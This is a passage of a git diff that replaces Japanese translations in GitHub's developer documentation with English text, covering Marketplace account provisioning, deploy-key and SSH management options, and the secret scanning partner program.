「[認証されたユーザのサブスクリプションのリスト](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)」エンドポイントを呼び出してください。 レスポンスには顧客の`account`情報が含まれ、その顧客が無料トライアルを利用しているかが示されます（`on_free_trial`）。 この情報を使って、セットアップとプロビジョニングを完了させてください。 +Your app must provision a customer account for all new purchases. Using the access token you received for the customer in [Step 3. Authorization](#step-3-authorization), call the "[List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)" endpoint. The response will include the customer's `account` information and show whether they are on a free trial (`on_free_trial`). Use this information to complete setup and provisioning. {% data reusables.marketplace.marketplace-double-purchases %} -購入がOrganizationのためのものであり、ユーザごとであるなら、顧客に対して購入されたアプリケーションにアクセスできるOrganizationのメンバーの選択を求めることができます。 +If the purchase is for an organization and per-user, you can prompt the customer to choose which organization members will have access to the purchased app. -Organizationのメンバーがアプリケーションへのアクセスを受け取る方法は、カスタマイズできます。 いくつかの例を挙げましょう。 +You can customize the way that organization members receive access to your app. Here are a few suggestions: -**定額料金:** Organizationに対して定額料金での購入が行われたなら、アプリケーションはAPI経由で[Organizationの全メンバーを取得](/rest/reference/orgs#list-organization-members)して、Organizationの管理者に対してどのメンバーがインテグレーター側で有料ユーザとなるかの選択を求めることができます。 +**Flat-rate pricing:** If the purchase is made for an organization using flat-rate pricing, your app can [get all the organization’s members](/rest/reference/orgs#list-organization-members) via the API and prompt the organization admin to choose which members will have paid users on the integrator side. -**ユニット単位の料金:** ユニットシートごとにプロビジョニングする方法の1つは、ユーザがアプリケーションにログインしたときにシートを使用できるようにすることです。 顧客がシートカウントの閾値に達した場合、アプリケーションはユーザに対して{% data variables.product.prodname_marketplace %}を通じてアップグレードする必要があることを警告できます。 +**Per-unit pricing:** One method of provisioning per-unit seats is to allow users to occupy a seat as they log in to the app. Once the customer hits the seat count threshold, your app can alert the user that they need to upgrade through {% data variables.product.prodname_marketplace %}. diff --git a/translations/ja-JP/content/developers/overview/managing-deploy-keys.md b/translations/ja-JP/content/developers/overview/managing-deploy-keys.md index eed5f2a35d..b651619a2c 100644 --- a/translations/ja-JP/content/developers/overview/managing-deploy-keys.md +++ b/translations/ja-JP/content/developers/overview/managing-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: デプロイキーの管理 -intro: デプロイメントのスクリプトを自動化する際にサーバー上のSSHキーを管理する様々な方法と、どれが最適な方法かを学んでください。 +title: Managing deploy keys +intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you. redirect_from: - /guides/managing-deploy-keys/ - /v3/guides/managing-deploy-keys @@ -14,84 +14,85 @@ topics: --- -SSHエージェントのフォワーディング、OAuthトークンでのHTTPS、デプロイキー、マシンユーザを使ってデプロイメントスクリプトを自動化する際に、サーバー上のSSHキーを管理できます。 +You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users. -## SSHエージェントのフォワーディング +## SSH agent forwarding -多くの場合、特にプロジェクトの開始時には、SSHエージェントのフォワーディングが最も素早くシンプルに使える方法です。 エージェントのフォワーディングでは、ローカルの開発コンピュータで使うのと同じSSHキーを使います。 +In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses. -#### 長所 +#### Pros -* 新しいキーを生成したり追跡したりしなくていい。 -* キーの管理は不要。ユーザはローカルと同じ権限をサーバーでも持つ。 -* サーバーにキーは保存されないので、サーバーが侵害を受けた場合でも、侵害されたキーを追跡して削除する必要はない。 +* You do not have to generate or keep track of any new keys. +* There is no key management; users have the same permissions on the server that they do locally. +* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys. -#### 短所 +#### Cons -* ユーザはデプロイするためにSSH**しなければならない**。自動化されたデプロイプロセスは利用できない。 -* SSHエージェントのフォワーディングは、Windowsのユーザが実行するのが面倒。 +* Users **must** SSH in to deploy; automated deploy processes can't be used. +* SSH agent forwarding can be troublesome to run for Windows users. -#### セットアップ +#### Setup -1. エージェントのフォワーディングをローカルでオンにしてください。 詳しい情報については[SSHエージェントフォワーディングのガイド][ssh-agent-forwarding]を参照してください。 -2. エージェントフォワーディングを使用するように、デプロイスクリプトを設定してください。 たとえばbashのスクリプトでは、以下のようにしてエージェントのフォワーディングを有効化することになるでしょう。 `ssh -A serverA 'bash -s' < deploy.sh` +1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information. +2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: +`ssh -A serverA 'bash -s' < deploy.sh` -## OAuthトークンを使ったHTTPSでのクローニング +## HTTPS cloning with OAuth tokens -SSHキーを使いたくないなら、[OAuthトークンでHTTPS][git-automation]を利用できます。 +If you don't want to use SSH keys, you can use [HTTPS with OAuth tokens][git-automation]. -#### 長所 +#### Pros -* サーバーにアクセスできる人なら、リポジトリをデプロイできる。 -* ユーザはローカルのSSH設定を変更する必要がない。 -* 複数のトークン（ユーザごと）が必要ない。サーバーごとに1つのトークンで十分。 -* トークンはいつでも取り消しできるので、本質的には使い捨てのパスワードにすることができる。 +* Anyone with access to the server can deploy the repository. +* Users don't have to change their local SSH settings. +* Multiple tokens (one for each user) are not needed; one token per server is enough. +* A token can be revoked at any time, turning it essentially into a one-use password. {% ifversion ghes %} -* 新しいトークンの作成は、[OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization)を使って容易にスクリプト化できる。 +* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization). {% endif %} -#### 短所 +#### Cons -* トークンを確実に正しいアクセススコープで設定しなければならない。 -* トークンは本質的にはパスワードであり、パスワードと同じように保護しなければならない。 +* You must make sure that you configure your token with the correct access scopes. +* Tokens are essentially passwords, and must be protected the same way. -#### セットアップ +#### Setup -[トークンでのGit自動化ガイド][git-automation]を参照してください。 +See [our guide on Git automation with tokens][git-automation]. -## デプロイキー +## Deploy keys {% data reusables.repositories.deploy-keys %} {% data reusables.repositories.deploy-keys-write-access %} -#### 長所 +#### Pros -* リポジトリとサーバーにアクセスできる人は、誰でもプロジェクトをデプロイできる。 -* ユーザはローカルのSSH設定を変更する必要がない。 -* デプロイキーはデフォルトではリードオンリーだが、リポジトリに追加する際には書き込みアクセス権を与えることができる。 +* Anyone with access to the repository and server has the ability to deploy the project. +* Users don't have to change their local SSH settings. +* Deploy keys are read-only by default, but you can give them write access when adding them to a repository. -#### 短所 +#### Cons -* デプロイキーは単一のリポジトリに対するアクセスだけを許可できる。 より複雑なプロジェクトは、同じサーバーからプルする多くのリポジトリを持っていることがある。 -* デプロイキーは通常パスフレーズで保護されていないので、サーバーが侵害されると簡単にキーにアクセスされることになる。 +* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server. +* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised. -#### セットアップ +#### Setup -1. サーバー上で[`ssh-keygen`の手順を実行][generating-ssh-keys]し、生成された公開／秘密RSAキーのペアを保存した場所を覚えておいてください。 -2. {% data variables.product.product_name %}の任意のページの右上で、プロフィールの写真をクリックし、続いて**Your profile（あなたのプロフィール）**をクリックしてください。 ![プロフィールへのアクセス](/assets/images/profile-page.png) -3. プロフィールページで**Repositories（リポジトリ）**をクリックし、続いてリポジトリの名前をクリックしてください。 ![リポジトリのリンク](/assets/images/repos.png) -4. リポジトリで**Settings（設定）**をクリックしてください。 ![リポジトリの設定](/assets/images/repo-settings.png) -5. サイドバーで**Deploy Keys（デプロイキー）**をクリックし、続いて**Add deploy key（デプロイキーの追加）**をクリックしてください。 ![デプロイキーのリンクの追加](/assets/images/add-deploy-key.png) -6. タイトルを入力し、公開鍵に貼り付けてください。 ![デプロイキーのページ](/assets/images/deploy-key.png) -7. このキーにリポジトリへの書き込みアクセスを許可したい場合は、**Allow write access（書き込みアクセスの許可）**を選択してください。 書き込みアクセス権を持つデプロイキーを使うと、リポジトリにデプロイメントのプッシュができるようになります。 -8. **Add key（キーの追加）**をクリックしてください。 +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public/private rsa key pair. +2. In the upper-right corner of any {% data variables.product.product_name %} page, click your profile photo, then click **Your profile**. ![Navigation to profile](/assets/images/profile-page.png) +3. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png) +4. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png) +5. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png) +6. Provide a title, paste in your public key. ![Deploy Key page](/assets/images/deploy-key.png) +7. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository. +8. Click **Add key**. -#### 1つのサーバー上で複数のリポジトリを利用する +#### Using multiple repositories on one server -1つのサーバー上で複数のリポジトリを使うなら、それぞれのリポジトリに対して専用のキーペアを生成しなければなりません。 複数のリポジトリでデプロイキーを再利用することはできません。 +If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories. -サーバーのSSH設定ファイル(通常は`~/.ssh/config`)に、それぞれのリポジトリに対してエイリアスエントリを追加してください。 例: +In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example: ```bash Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0 @@ -103,85 +104,88 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif IdentityFile=/home/user/.ssh/repo-1_deploy_key ``` -* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - リポジトリのエイリアス。 -* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - エイリアスで使用するホスト名を設定する。 -* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - このエイリアスに秘密鍵を割り当てる。 +* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias. +* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias. +* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias. -こうすれば、ホスト名のエイリアスを使ってSSHでリポジトリとやりとりできます。この場合、このエイリアスに割り当てられたユニークなデプロイキーが使われます。 例: +You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example: ```bash $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git ``` -## サーバー間トークン +## Server-to-server tokens -サーバーがOrganizationをまたいでリポジトリにアクセスする必要がある場合、GitHub Appで必要なアクセスを定義して、そのGitHub Appから_スコープを厳格に設定した_、_サーバー対サーバー_のトークンを生成します。 サーバー対サーバーのトークンは単一または複数のリポジトリをスコープとすることができ、権限を細かく設定できます。 たとえば、リポジトリのコンテンツへの読み取り専用アクセス権を持つトークンを生成できます。 +If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. -GitHub Appは{% data variables.product.product_name %}でも主役級の存在なので、サーバー間トークンはあらゆるGitHubユーザから分離され、「サービストークン」に相当します。 さらに、サーバー間トークンには独自のレート制限があり、その制限は実行されるOrganizationの規模に応じて拡大されます。 詳しい情報については、「[Github Appsのレート制限](/developers/apps/rate-limits-for-github-apps)」を参照してください。 +Since GitHub Apps are a first class actor on {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for Github Apps](/developers/apps/rate-limits-for-github-apps). -#### 長所 +#### Pros -- 権限設定と有効期限 (1時間、またはAPIで手動で取り消された場合にはそれ以下) が明確に定義された、スコープが厳格なトークン。 -- Organizationの規模に従って拡大する、独自のレート制限。 -- GitHubユーザIDと分離されているため、ライセンスのシート数を消費しない。 -- パスワードが付与されないので、直接サインインされない。 +- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API). +- Dedicated rate limits that grow with your organization. +- Decoupled from GitHub user identities, so they do not consume any licensed seats. +- Never granted a password, so cannot be directly signed in to. -#### 短所 +#### Cons -- GitHub Appを作成するには追加設定が必要。 -- サーバー間トークンは1時間後に期限切れとなるので、再生成する必要がある (通常はコードを使用して、オンデマンドで行なう)。 +- Additional setup is needed to create the GitHub App. +- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code. -#### セットアップ +#### Setup -1. GitHub Appをパブリックにするかプライベートにするか決定します。 GitHub AppがOrganization内のリポジトリのみで動作する場合は、プライベートに設定した方がいいでしょう。 -1. リポジトリのコンテンツへの読み取り専用アクセスなど、GitHub Appが必要とする権限を決定します。 -1. Organizationの設定ページからGitHub Appを作成します。 詳しい情報については、「[GitHub Appを作成する](/developers/apps/creating-a-github-app)」を参照してください。 -1. GitHub App `id`をメモします。 -1. GitHub Appの秘密鍵を生成してダウンロードし、安全な方法で保存します。 詳しい情報については、[秘密鍵を生成する](/developers/apps/authenticating-with-github-apps#generating-a-private-key)を参照してください。 -1. 動作させたいリポジトリにGitHubをインストールします。Organizationの全リポジトリにGitHub Appをインストールしても構いません。 -1. GitHub AppとOrganizationリポジトリとの接続を表わす`installation_id`を特定します。 GitHub AppとOrganizationの各ペアには、最大1つの`installation_id`があります。 [認証されたアプリケーションのOrganizationインストール情報を取得する](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app)ことで、`installation_id`を識別できます。 このためには、JWTを使用して、GitHub Appとして認証する必要があります。詳細については、「[GitHub Appとして認証する](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)」を参照してください。 -1. 対応するREST APIエンドポイントを使用して、サーバー間トークンを生成します。「[アプリケーションに対するインストールアクセストークンの作成](/rest/reference/apps#create-an-installation-access-token-for-an-app)」を参照してください。 このためには、JWTを使用してGitHub Appとして認証する必要があります。詳しい情報については、「[GitHub App として認証する](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)」および「[インストールとして認証を行う](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)」を参照してください。 -1. このサーバー間トークンを使用して、REST、GraphQL API、またはGitクライアント経由でリポジトリとやり取りします。 +1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private. +1. Determine the permissions your GitHub App requires, such as read-only access to repository contents. +1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app). +1. Note your GitHub App `id`. +1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key). +1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization. +1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access. Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app). +1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation). +1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client. -## マシンユーザ +## Machine users -サーバーが複数のリポジトリにアクセスする必要がある場合、新しいアカウントを{% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}で作成し、自動化専用に使われるSSHキーを添付できます。 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}のこのアカウントは人間によって使用されるものではないため、_マシンユーザ_と呼ばれます。 マシンユーザは、個人リポジトリには[コラボレータ][collaborator]として（読み書きのアクセスを許可）、Organizationのリポジトリには[外部のコラボレータ][outside-collaborator]として（読み書き及び管理アクセスを許可）、あるいは自動化する必要があるリポジトリへのアクセスを持つ[Team][team]に（そのTeamの権限を許可）追加できます。 +If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team). {% ifversion fpt or ghec %} {% tip %} -**Tip:** [利用規約][tos]では以下のように述べられています。 +**Tip:** Our [terms of service][tos] state: -> *「ボット」またはその他の自動化された手段で「アカウント」を登録することは許可されていません。* +> *Accounts registered by "bots" or other automated methods are not permitted.* -これは、アカウントの生成を自動化することはできないということです。 しかし、プロジェクトやOrganization内でデプロイスクリプトのような自動化タスクのために1つのマシンユーザを作成したいなら、それはまったく素晴らしいことです。 +This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool. {% endtip %} {% endif %} -#### 長所 +#### Pros -* リポジトリとサーバーにアクセスできる人は、誰でもプロジェクトをデプロイできる。 -* （人間の）ユーザがローカルのSSH設定を変更する必要がない。 -* 複数のキーは必要ない。サーバーごとに1つでよい。 +* Anyone with access to the repository and server has the ability to deploy the project. +* No (human) users need to change their local SSH settings. +* Multiple keys are not needed; one per server is adequate. -#### 短所 +#### Cons -* Organizationだけがマシンユーザをリードオンリーのアクセスにできる。 個人リポジトリは、常にコラボレータの読み書きアクセスを許可する。 -* マシンユーザのキーは、デプロイキーのように、通常パスフレーズで保護されない。 +* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access. +* Machine user keys, like deploy keys, are usually not protected by a passphrase. -#### セットアップ +#### Setup -1. サーバー上で[`ssh-keygen`の手順を実行][generating-ssh-keys]し、公開鍵をマシンユーザアカウントに添付してください。 -2. マシンユーザアカウントに自動化したいリポジトリへのアクセスを付与してください。 これは、アカウントを[コラボレータ][collaborator]、[外部のコラボレータ][outside-collaborator]として、あるいはOrganization内の[Team][team]に追加することでも行えます。 +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account. +2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization. [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/ [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key [tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/ [git-automation]: /articles/git-automation-with-oauth-tokens -[git-automation]: /articles/git-automation-with-oauth-tokens [collaborator]: /articles/inviting-collaborators-to-a-personal-repository [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization [team]: /articles/adding-organization-members-to-a-team + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) + diff --git a/translations/ja-JP/content/developers/overview/secret-scanning-partner-program.md b/translations/ja-JP/content/developers/overview/secret-scanning-partner-program.md index 23f0e272bc..a67ec00631 100644 --- a/translations/ja-JP/content/developers/overview/secret-scanning-partner-program.md +++ b/translations/ja-JP/content/developers/overview/secret-scanning-partner-program.md @@ -1,6 +1,6 @@ --- -title: Secret scanningパートナープログラム -intro: 'サービスプロバイダーは、{% data variables.product.prodname_dotcom %}とパートナーになり、シークレットスキャンニングを通じてシークレットトークンのフォーマットを保護できます。シークレットスキャンニングは、そのシークレットのフォーマットで誤って行われたコミットを検索し、サービスプロバイダーの検証用エンドポイントに送信します。' +title: Secret scanning partner program +intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.' miniTocMaxHeadingLevel: 3 redirect_from: - /partnerships/token-scanning/ @@ -14,52 +14,52 @@ topics: shortTitle: Secret scanning --- -{% data variables.product.prodname_dotcom %}は、既知のシークレットフォーマットに対してリポジトリをスキャンし、誤ってコミットされたクレデンシャルが不正利用されることを防ぎます。 {% data variables.product.prodname_secret_scanning_caps %}は、デフォルトでパブリックなリポジトリで行われ、プライベートリポジトリではリポジトリ管理者またはOrganizationのオーナーが有効化できます。 サービスプロバイダーは{% data variables.product.prodname_dotcom %}と連携し、シークレットのフォーマットが{% data variables.product.prodname_secret_scanning %}に含まれるようにすることができます。 +{% data variables.product.prodname_dotcom %} scans repositories for known secret formats to prevent fraudulent use of credentials that were committed accidentally. {% data variables.product.prodname_secret_scanning_caps %} happens by default on public repositories, and can be enabled on private repositories by repository administrators or organization owners. As a service provider, you can partner with {% data variables.product.prodname_dotcom %} so that your secret formats are included in our {% data variables.product.prodname_secret_scanning %}. -シークレットのフォーマットに対する一致がパブリックリポジトリで見つかった場合、選択したHTTPのエンドポイントにペイロードが送信されます。 +When a match of your secret format is found in a public repository, a payload is sent to an HTTP endpoint of your choice. -{% data variables.product.prodname_secret_scanning %}が設定されたプライベートリポジトリでシークレットフォーマットへの一致が見つかった場合、リポジトリの管理者とコミッターにアラートが発せられ、{% data variables.product.prodname_dotcom %}上で{% data variables.product.prodname_secret_scanning %}の結果を見て管理できます。 詳しい情報については、「[{% data variables.product.prodname_secret_scanning %} からのアラートを管理する](/github/administering-a-repository/managing-alerts-from-secret-scanning)」を参照してください。 +When a match of your secret format is found in a private repository configured for {% data variables.product.prodname_secret_scanning %}, then repository admins and the committer are alerted and can view and manage the {% data variables.product.prodname_secret_scanning %} result on {% data variables.product.prodname_dotcom %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)." -この記事では、サービスプロバイダーとして{% data variables.product.prodname_dotcom %}とパートナーになり、{% data variables.product.prodname_secret_scanning %}パートナープログラムに参加する方法を説明します。 +This article describes how you can partner with {% data variables.product.prodname_dotcom %} as a service provider and join the {% data variables.product.prodname_secret_scanning %} partner program. -## {% data variables.product.prodname_secret_scanning %}のプロセス +## The {% data variables.product.prodname_secret_scanning %} process -#### パブリックリポジトリにおける{% data variables.product.prodname_secret_scanning %}の動作 +#### How {% data variables.product.prodname_secret_scanning %} works in a public repository -以下の図は、パブリックリポジトリに対する{% data variables.product.prodname_secret_scanning %}のプロセスをまとめたもので、一致があった場合にサービスプロバイダへの検証エンドポイントに送信されています。 +The following diagram summarizes the {% data variables.product.prodname_secret_scanning %} process for public repositories, with any matches sent to a service provider's verify endpoint. -![シークレットのスキャンニングと、サービスプロバイダーの検証エンドポイントへの一致の送信のプロセスのフロー図。](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %}フロー") +![Flow diagram showing the process of scanning for a secret and sending matches to a service provider's verify endpoint](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} flow") -## {% data variables.product.prodname_dotcom %}の{% data variables.product.prodname_secret_scanning %}プログラムへの参加 +## Joining the {% data variables.product.prodname_secret_scanning %} program on {% data variables.product.prodname_dotcom %} -1. プロセスを開始するために、{% data variables.product.prodname_dotcom %}に連絡してください。 -1. スキャンしたい関連シークレットを特定し、それらを捕捉するための正規表現を作成してください。 -1. パブリックリポジトリで見つかったシークレットの一致に対応するために、{% data variables.product.prodname_secret_scanning %}のメッセージペイロードを含む{% data variables.product.prodname_dotcom %}からのwebhookを受け付けるシークレットアラートサービスを作成してください。 -1. シークレットアラートサービスに、署名検証を実装してください。 -1. シークレットアラートサービスに、シークレットの破棄とユーザへの通知を実装してください。 -1. 誤検知に対するフィードバックを行ないます (任意)。 +1. Contact {% data variables.product.prodname_dotcom %} to get the process started. +1. Identify the relevant secrets you want to scan for and create regular expressions to capture them. +1. For secret matches found in public repositories, create a secret alert service which accepts webhooks from {% data variables.product.prodname_dotcom %} that contain the {% data variables.product.prodname_secret_scanning %} message payload. +1. Implement signature verification in your secret alert service. +1. Implement secret revocation and user notification in your secret alert service. +1. Provide feedback for false positives (optional). -### プロセスを開始するための{% data variables.product.prodname_dotcom %}への連絡 +### Contact {% data variables.product.prodname_dotcom %} to get the process started -登録のプロセスを開始するには、secret-scanning@github.comにメールを送信してください。 +To get the enrollment process started, email secret-scanning@github.com. -{% data variables.product.prodname_secret_scanning %}プログラムの詳細が送信されます。手続きを進めるには、{% data variables.product.prodname_dotcom %}の参加規約に同意する必要があります。 +You will receive details on the {% data variables.product.prodname_secret_scanning %} program, and you will need to agree to {% data variables.product.prodname_dotcom %}'s terms of participation before proceeding. -### シークレットの特定と正規表現の作成 +### Identify your secrets and create regular expressions -シークレットをスキャンするには、{% data variables.product.prodname_dotcom %}は{% data variables.product.prodname_secret_scanning %}に含める各シークレットについて以下の情報が必要です。 +To scan for your secrets, {% data variables.product.prodname_dotcom %} needs the following pieces of information for each secret that you want included in the {% data variables.product.prodname_secret_scanning %} program: -* シークレットの種類に対する、ユニークで人が読める名前。 後にこれを使って、メッセージペイロード中の`Type`値が生成されます。 -* このシークレットの種類を見つける正規表現。 できるかぎり正確にしてください。そうすることで、誤検知の数を減らすことができます。 -* {% data variables.product.prodname_dotcom %}からのメッセージを受信するエンドポイントのURL。 これは各シークレットの種類ごとにユニークである必要はありません。 +* A unique, human readable name for the secret type. We'll use this to generate the `Type` value in the message payload later. +* A regular expression which finds the secret type. Be as precise as possible, because this will reduce the number of false positives. +* The URL of the endpoint that receives messages from {% data variables.product.prodname_dotcom %}. This does not have to be unique for each secret type. -この情報をsecret-scanning@github.comに送信してください。 +Send this information to secret-scanning@github.com. -### シークレットアラートサービスの作成 +### Create a secret alert service -提供したURLに、パブリックでインターネットからアクセスできるHTTPエンドポイントを作成してください。 パブリックリポジトリで正規表現への一致が見つかった場合、{% data variables.product.prodname_dotcom %}はHTTPの`POST`メッセージをエンドポイントに送信します。 +Create a public, internet accessible HTTP endpoint at the URL you provided to us. When a match of your regular expression is found in a public repository, {% data variables.product.prodname_dotcom %} will send an HTTP `POST` message to your endpoint. -#### エンドポイントに送信されるPOSTの例 +#### Example POST sent to your endpoint ```http POST / HTTP/2 @@ -73,33 +73,34 @@ Content-Length: 0123 [{"token":"NMIfyYncKcRALEXAMPLE","type":"mycompany_api_token","url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt"}] ``` -メッセージのボディはJSONの配列で、以下の内容を持つ1つ以上のオブジェクトを含みます。 複数の一致が見つかった場合には、{% data variables.product.prodname_dotcom %}は複数のシークレットの一致を含む1つのメッセージを送信することがあります。 エンドポイントは、タイムアウトすることなく大量の一致を含むリクエストを処理できなければなりません。 +The message body is a JSON array that contains one or more objects with the following contents. When multiple matches are found, {% data variables.product.prodname_dotcom %} may send a single message with more than one secret match. Your endpoint should be able to handle requests with a large number of matches without timing out. -* **Token**: シークレットの一致の値。 -* **Type**: 正規表現を特定するために渡されたユニークな名前。 -* **URL**: マッチが見つかったパブリックなコミットURL。 +* **Token**: The value of the secret match. +* **Type**: The unique name you provided to identify your regular expression. +* **URL**: The public commit URL where the match was found. -### シークレットアラートサービスへの署名検証の実装 +### Implement signature verification in your secret alert service -シークレットサービスには署名検証サービスを実装して、受信したメッセージが本当に{% data variables.product.prodname_dotcom %}からのものであり、悪意がないことを保証することを強くおすすめします。 +We strongly recommend you implement signature validation in your secret alert service to ensure that the messages you receive are genuinely from {% data variables.product.prodname_dotcom %} and not malicious. -{% data variables.product.prodname_dotcom %}のシークレットスキャンニング公開鍵はhttps://api.github.com/meta/public_keys/secret_scanningから取得でき、`ECDSA-NIST-P256V1-SHA256`アルゴリズムを使ってメッセージを検証できます。 +You can retrieve the {% data variables.product.prodname_dotcom %} secret scanning public key from https://api.github.com/meta/public_keys/secret_scanning and validate the message using the `ECDSA-NIST-P256V1-SHA256` algorithm. {% note %} -**注釈**: 上記の公開鍵エンドポイントにリクエストを送信する際、レート制限に達する場合があります。 レート制限を回避するには、以下のサンプルで示すように個人アクセストークン (スコープ不要) を使うか、条件付きリクエストを利用できます。 詳しい情報については、「[REST APIを使ってみる](/rest/guides/getting-started-with-the-rest-api#conditional-requests)」を参照してください。 +**Note**: When you send a request to the public key endpoint above, you may hit rate limits. To avoid hitting rate limits, you can use a personal access token (no scopes required) as suggested in the samples below, or use a conditional request. For more information, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#conditional-requests)." {% endnote %} -次のメッセージを受信したとして、以下のコードは署名検証の方法を示しています。 このコードスニペットは、レート制限を回避するため、`GITHUB_PRODUCTION_TOKEN`という環境変数に生成されたPATが設定されていることを前提としています (https://github.com/settings/tokens)。 このPATには、スコープや権限は不要です。 +Assuming you receive the following message, the code snippets below demonstrate how you could perform signature validation. +The code snippets assume you've set an environment variable called `GITHUB_PRODUCTION_TOKEN` with a generated PAT (https://github.com/settings/tokens) to avoid hitting rate limits. The PAT does not need any scopes/permissions. {% note %} -**注釈**: 署名は生のメッセージ本文を利用して生成されます。 